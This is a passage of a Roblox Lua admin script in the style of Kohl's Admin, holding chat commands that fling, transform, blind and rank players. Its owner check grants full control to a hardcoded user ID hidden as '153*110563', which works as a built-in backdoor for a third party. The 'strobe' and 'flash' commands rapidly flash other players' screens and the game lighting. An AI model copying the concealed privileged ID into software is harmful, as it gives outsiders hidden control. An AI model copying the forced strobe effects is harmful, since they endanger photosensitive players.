if msg:lower() == "flash" then
1622
for i, v in pairs(lobjs) do v:Destroy() end
1623
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1624
game.Lighting.Ambient = Color3.new(1,1,1)
1625
game.Lighting.FogColor = Color3.new(1,1,1)
1626
game.Lighting.Brightness = 1
1627
game.Lighting.TimeOfDay = 14
1628
wait(.1) 
1629
game.Lighting.Ambient = Color3.new(0,0,0)
1630
game.Lighting.FogColor = Color3.new(0,0,0)
1631
game.Lighting.Brightness = 0
1632
game.Lighting.TimeOfDay = 0
1633
until nil]]
1634
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1635
end
1636
1637
if msg:lower():sub(1,5) == "spin " then
1638
local plrz = GetPlr(plr, msg:lower():sub(6))
1639
for i, v in pairs(plrz) do
1640
coroutine.resume(coroutine.create(function()
1641
if v and v.Character and v.Character:findFirstChild("Torso") then
1642
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1643
local torso = v.Character:findFirstChild("Torso")
1644
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1645
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1646
until not bg or bg.Parent ~= torso
1647
end
1648
end))
1649
end
1650
end
1651
1652
if msg:lower():sub(1,7) == "unspin " then
1653
local plrz = GetPlr(plr, msg:lower():sub(8))
1654
for i, v in pairs(plrz) do
1655
coroutine.resume(coroutine.create(function()
1656
if v and v.Character and v.Character:findFirstChild("Torso") then
1657
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1658
end
1659
end))
1660
end
1661
end
1662
1663
if msg:lower():sub(1,4) == "dog " then
1664
local plrz = GetPlr(plr, msg:lower():sub(5))
1665
for i, v in pairs(plrz) do
1666
coroutine.resume(coroutine.create(function()
1667
if v and v.Character and v.Character:findFirstChild("Torso") then
1668
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1669
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1670
v.Character.Torso.Transparency = 1
1671
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1672
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1673
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1674
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1675
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1676
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1677
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1678
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1679
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1680
end
1681
end))
1682
end
1683
end
1684
1685
if msg:lower():sub(1,6) == "undog " then
1686
local plrz = GetPlr(plr, msg:lower():sub(7))
1687
for i, v in pairs(plrz) do
1688
coroutine.resume(coroutine.create(function()
1689
if v and v.Character and v.Character:findFirstChild("Torso") then
1690
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1691
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1692
v.Character.Torso.Transparency = 0
1693
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1694
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1695
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1696
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1697
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1698
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1699
end
1700
end))
1701
end
1702
end
1703
1704
if msg:lower():sub(1,8) == "creeper " then
1705
local plrz = GetPlr(plr, msg:lower():sub(9))
1706
for i, v in pairs(plrz) do
1707
coroutine.resume(coroutine.create(function()
1708
if v and v.Character and v.Character:findFirstChild("Torso") then
1709
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1710
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1711
v.Character.Torso.Transparency = 0
1712
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1713
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1714
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1715
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1716
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1717
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1718
end
1719
end))
1720
end
1721
end
1722
1723
if msg:lower():sub(1,10) == "uncreeper " then
1724
local plrz = GetPlr(plr, msg:lower():sub(11))
1725
for i, v in pairs(plrz) do
1726
coroutine.resume(coroutine.create(function()
1727
if v and v.Character and v.Character:findFirstChild("Torso") then
1728
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1729
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1730
v.Character.Torso.Transparency = 0
1731
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1732
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1733
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1734
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1735
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1736
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1737
end
1738
end))
1739
end
1740
end
1741
1742
if msg:lower():sub(1,8) == "bighead " then
1743
local plrz = GetPlr(plr, msg:lower():sub(9))
1744
for i, v in pairs(plrz) do
1745
coroutine.resume(coroutine.create(function()
1746
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1747
end))
1748
end
1749
end
1750
1751
if msg:lower():sub(1,9) == "minihead " then
1752
local plrz = GetPlr(plr, msg:lower():sub(10))
1753
for i, v in pairs(plrz) do
1754
coroutine.resume(coroutine.create(function()
1755
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1756
end))
1757
end
1758
end
1759
1760
if msg:lower():sub(1,6) == "fling " then
1761
local plrz = GetPlr(plr, msg:lower():sub(7))
1762
for i, v in pairs(plrz) do
1763
coroutine.resume(coroutine.create(function()
1764
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1765
local xran local zran
1766
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1767
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1768
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1769
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1770
end
1771
end))
1772
end
1773
end
1774
1775
if msg:lower():sub(1,8) == "seizure " then
1776
local plrz = GetPlr(plr, msg:lower():sub(9))
1777
for i, v in pairs(plrz) do
1778
coroutine.resume(coroutine.create(function()
1779
if v and v.Character then 
1780
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1781
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1782
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1783
end
1784
end))
1785
end
1786
end
1787
1788
if msg:lower():sub(1,10) == "unseizure " then
1789
local plrz = GetPlr(plr, msg:lower():sub(11))
1790
for i, v in pairs(plrz) do
1791
coroutine.resume(coroutine.create(function()
1792
if v and v.Character then 
1793
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1794
wait(.1) v.Character.Humanoid.PlatformStand = false
1795
end
1796
end))
1797
end
1798
end
1799
1800
if msg:lower():sub(1,12) == "removelimbs " then
1801
local plrz = GetPlr(plr, msg:lower():sub(13))
1802
for i, v in pairs(plrz) do
1803
coroutine.resume(coroutine.create(function()
1804
if v and v.Character then 
1805
for a, obj in pairs(v.Character:children()) do 
1806
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1807
end
1808
end
1809
end))
1810
end
1811
end
1812
1813
if msg:lower():sub(1,5) == "name " then
1814
local chk1 = msg:lower():sub(6):find(" ") + 5
1815
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1816
for i, v in pairs(plrz) do
1817
coroutine.resume(coroutine.create(function()
1818
if v and v.Character and v.Character:findFirstChild("Head") then 
1819
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1820
local char = v.Character
1821
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1822
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1823
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1824
char.Head.Transparency = 1
1825
end
1826
end))
1827
end
1828
end
1829
1830
if msg:lower():sub(1,7) == "unname " then
1831
local plrz = GetPlr(plr, msg:lower():sub(8))
1832
for i, v in pairs(plrz) do
1833
coroutine.resume(coroutine.create(function()
1834
if v and v.Character and v.Character:findFirstChild("Head") then 
1835
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1836
end
1837
end))
1838
end
1839
end
1840
1841
if msg:lower():sub(1,5) == "char " then
1842
local chk1 = msg:lower():sub(6):find(" ") + 5
1843
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1844
for i, v in pairs(plrz) do
1845
coroutine.resume(coroutine.create(function()
1846
if v and v.Character then 
1847
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1848
v:LoadCharacter()
1849
end
1850
end))
1851
end
1852
end
1853
1854
if msg:lower():sub(1,7) == "unchar " then
1855
local plrz = GetPlr(plr, msg:lower():sub(8))
1856
for i, v in pairs(plrz) do
1857
coroutine.resume(coroutine.create(function()
1858
if v and v.Character then 
1859
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1860
v:LoadCharacter()
1861
end
1862
end))
1863
end
1864
end
1865
1866
if msg:lower():sub(1,7) == "infect " then
1867
local plrz = GetPlr(plr, msg:lower():sub(8))
1868
for i, v in pairs(plrz) do
1869
coroutine.resume(coroutine.create(function()
1870
if v and v.Character then
1871
Infect(v.Character)
1872
end
1873
end))
1874
end
1875
end
1876
1877
if msg:lower():sub(1,11) == "rainbowify " then
1878
local plrz = GetPlr(plr, msg:lower():sub(12))
1879
for i, v in pairs(plrz) do
1880
coroutine.resume(coroutine.create(function()
1881
if v and v.Character and v.Character:findFirstChild("Torso") then 
1882
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1883
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1884
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1885
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1886
cl.Parent = v.Character cl.Disabled = false
1887
end
1888
end))
1889
end
1890
end
1891
1892
if msg:lower():sub(1,9) == "flashify " then
1893
local plrz = GetPlr(plr, msg:lower():sub(10))
1894
for i, v in pairs(plrz) do
1895
coroutine.resume(coroutine.create(function()
1896
if v and v.Character and v.Character:findFirstChild("Torso") then 
1897
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1898
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1899
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1900
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1901
cl.Parent = v.Character cl.Disabled = false
1902
end
1903
end))
1904
end
1905
end
1906
1907
if msg:lower():sub(1,8) == "noobify " then
1908
local plrz = GetPlr(plr, msg:lower():sub(9))
1909
for i, v in pairs(plrz) do
1910
coroutine.resume(coroutine.create(function()
1911
if v and v.Character then
1912
Noobify(v.Character)
1913
end
1914
end))
1915
end
1916
end
1917
1918
if msg:lower():sub(1,9) == "ghostify " then
1919
local plrz = GetPlr(plr, msg:lower():sub(10))
1920
for i, v in pairs(plrz) do
1921
coroutine.resume(coroutine.create(function()
1922
if v and v.Character and v.Character:findFirstChild("Torso") then 
1923
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1924
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1925
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1926
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1927
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1928
if prt.Name:find("Leg") then prt.Transparency = 1 end
1929
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1930
end end
1931
end
1932
end))
1933
end
1934
end
1935
1936
if msg:lower():sub(1,8) == "goldify " then
1937
local plrz = GetPlr(plr, msg:lower():sub(9))
1938
for i, v in pairs(plrz) do
1939
coroutine.resume(coroutine.create(function()
1940
if v and v.Character and v.Character:findFirstChild("Torso") then 
1941
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1942
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1943
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1944
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1945
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1946
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1947
end end
1948
end
1949
end))
1950
end
1951
end
1952
1953
if msg:lower():sub(1,6) == "shiny " then
1954
local plrz = GetPlr(plr, msg:lower():sub(7))
1955
for i, v in pairs(plrz) do
1956
coroutine.resume(coroutine.create(function()
1957
if v and v.Character and v.Character:findFirstChild("Torso") then 
1958
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1959
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1960
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1961
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1962
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
1963
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
1964
end end
1965
end
1966
end))
1967
end
1968
end
1969
1970
if msg:lower():sub(1,7) == "normal " then
1971
local plrz = GetPlr(plr, msg:lower():sub(8))
1972
for i, v in pairs(plrz) do
1973
coroutine.resume(coroutine.create(function()
1974
if v and v.Character and v.Character:findFirstChild("Torso") then
1975
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
1976
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1977
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1978
v.Character.Torso.Transparency = 0
1979
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1980
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1981
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1982
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1983
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1984
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1985
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1986
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1987
if prt.Name == "FAKETORSO" then prt:Destroy() end
1988
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
1989
end end
1990
end
1991
end))
1992
end
1993
end
1994
1995
if msg:lower():sub(1,7) == "trippy " then
1996
local plrz = GetPlr(plr, msg:lower():sub(8))
1997
for i, v in pairs(plrz) do
1998
coroutine.resume(coroutine.create(function()
1999
if v and v:findFirstChild("PlayerGui") then 
2000
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2001
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2002
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2003
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2004
end
2005
end))
2006
end
2007
end
2008
2009
if msg:lower():sub(1,9) == "untrippy " then
2010
local plrz = GetPlr(plr, msg:lower():sub(10))
2011
for i, v in pairs(plrz) do
2012
coroutine.resume(coroutine.create(function()
2013
if v and v:findFirstChild("PlayerGui") then 
2014
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2015
end
2016
end))
2017
end
2018
end
2019
2020
if msg:lower():sub(1,7) == "strobe " then
2021
local plrz = GetPlr(plr, msg:lower():sub(8))
2022
for i, v in pairs(plrz) do
2023
coroutine.resume(coroutine.create(function()
2024
if v and v:findFirstChild("PlayerGui") then 
2025
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2026
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2027
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2028
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2029
end
2030
end))
2031
end
2032
end
2033
2034
if msg:lower():sub(1,9) == "unstrobe " then
2035
local plrz = GetPlr(plr, msg:lower():sub(10))
2036
for i, v in pairs(plrz) do
2037
coroutine.resume(coroutine.create(function()
2038
if v and v:findFirstChild("PlayerGui") then 
2039
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2040
end
2041
end))
2042
end
2043
end
2044
2045
if msg:lower():sub(1,6) == "blind " then
2046
local plrz = GetPlr(plr, msg:lower():sub(7))
2047
for i, v in pairs(plrz) do
2048
coroutine.resume(coroutine.create(function()
2049
if v and v:findFirstChild("PlayerGui") then 
2050
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2051
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2052
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2053
end
2054
end))
2055
end
2056
end
2057
2058
if msg:lower():sub(1,8) == "unblind " then
2059
local plrz = GetPlr(plr, msg:lower():sub(9))
2060
for i, v in pairs(plrz) do
2061
coroutine.resume(coroutine.create(function()
2062
if v and v:findFirstChild("PlayerGui") then 
2063
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2064
end
2065
end))
2066
end
2067
end
2068
2069
if msg:lower():sub(1,7) == "guifix " then
2070
local plrz = GetPlr(plr, msg:lower():sub(8))
2071
for i, v in pairs(plrz) do
2072
coroutine.resume(coroutine.create(function()
2073
if v and v:findFirstChild("PlayerGui") then 
2074
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2075
end
2076
end))
2077
end
2078
end
2079
2080
if msg:lower():sub(1,9) == "loopheal " then
2081
local plrz = GetPlr(plr, msg:lower():sub(10))
2082
for i, v in pairs(plrz) do
2083
if v then
2084
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2085
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2086
repeat wait()
2087
coroutine.resume(coroutine.create(function()
2088
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2089
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2090
end
2091
end))
2092
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2093
end
2094
end
2095
end
2096
2097
if msg:lower():sub(1,11) == "unloopheal " then
2098
local plrz = GetPlr(plr, msg:lower():sub(12))
2099
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2100
end
2101
2102
if msg:lower():sub(1,10) == "loopfling " then
2103
local plrz = GetPlr(plr, msg:lower():sub(11))
2104
for i, v in pairs(plrz) do
2105
if v then
2106
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2107
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2108
repeat
2109
coroutine.resume(coroutine.create(function()
2110
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2111
local xran local zran
2112
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2113
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2114
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2115
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2116
end
2117
end))
2118
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2119
end
2120
end
2121
end
2122
2123
if msg:lower():sub(1,12) == "unloopfling " then
2124
local plrz = GetPlr(plr, msg:lower():sub(13))
2125
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2126
end
2127
	
2128
end
2129
2130
-------------------------
2131
-- True Owner Commands --
2132
-------------------------
2133
2134
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2135
2136
if msg:lower():sub(1,3) == "oa " then
2137
local plrz = GetPlr(plr, msg:lower():sub(4))
2138
for i, v in pairs(plrz) do
2139
coroutine.resume(coroutine.create(function()
2140
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2141
end))
2142
end
2143
end
2144
2145
if msg:lower():sub(1,5) == "unoa " then
2146
for i = 1, #owners do
2147
coroutine.resume(coroutine.create(function()
2148
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2149
end))
2150
end
2151
end
2152
2153
end
2154
2155
--------------------
2156
-- Owner Commands --
2157
--------------------
2158
2159
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2160
2161
if msg:lower():sub(1,3) == "pa " then
2162
local plrz = GetPlr(plr, msg:lower():sub(4))
2163
for i, v in pairs(plrz) do
2164
coroutine.resume(coroutine.create(function()
2165
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2166
end))
2167
end
2168
end
2169
2170
if msg:lower():sub(1,5) == "unpa " then
2171
for i = 1, #admins do
2172
coroutine.resume(coroutine.create(function()
2173
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2174
end))
2175
end
2176
end
2177
2178
end
2179
2180
--------------------------
2181
-- Super Admin Commands --
2182
--------------------------
2183
2184
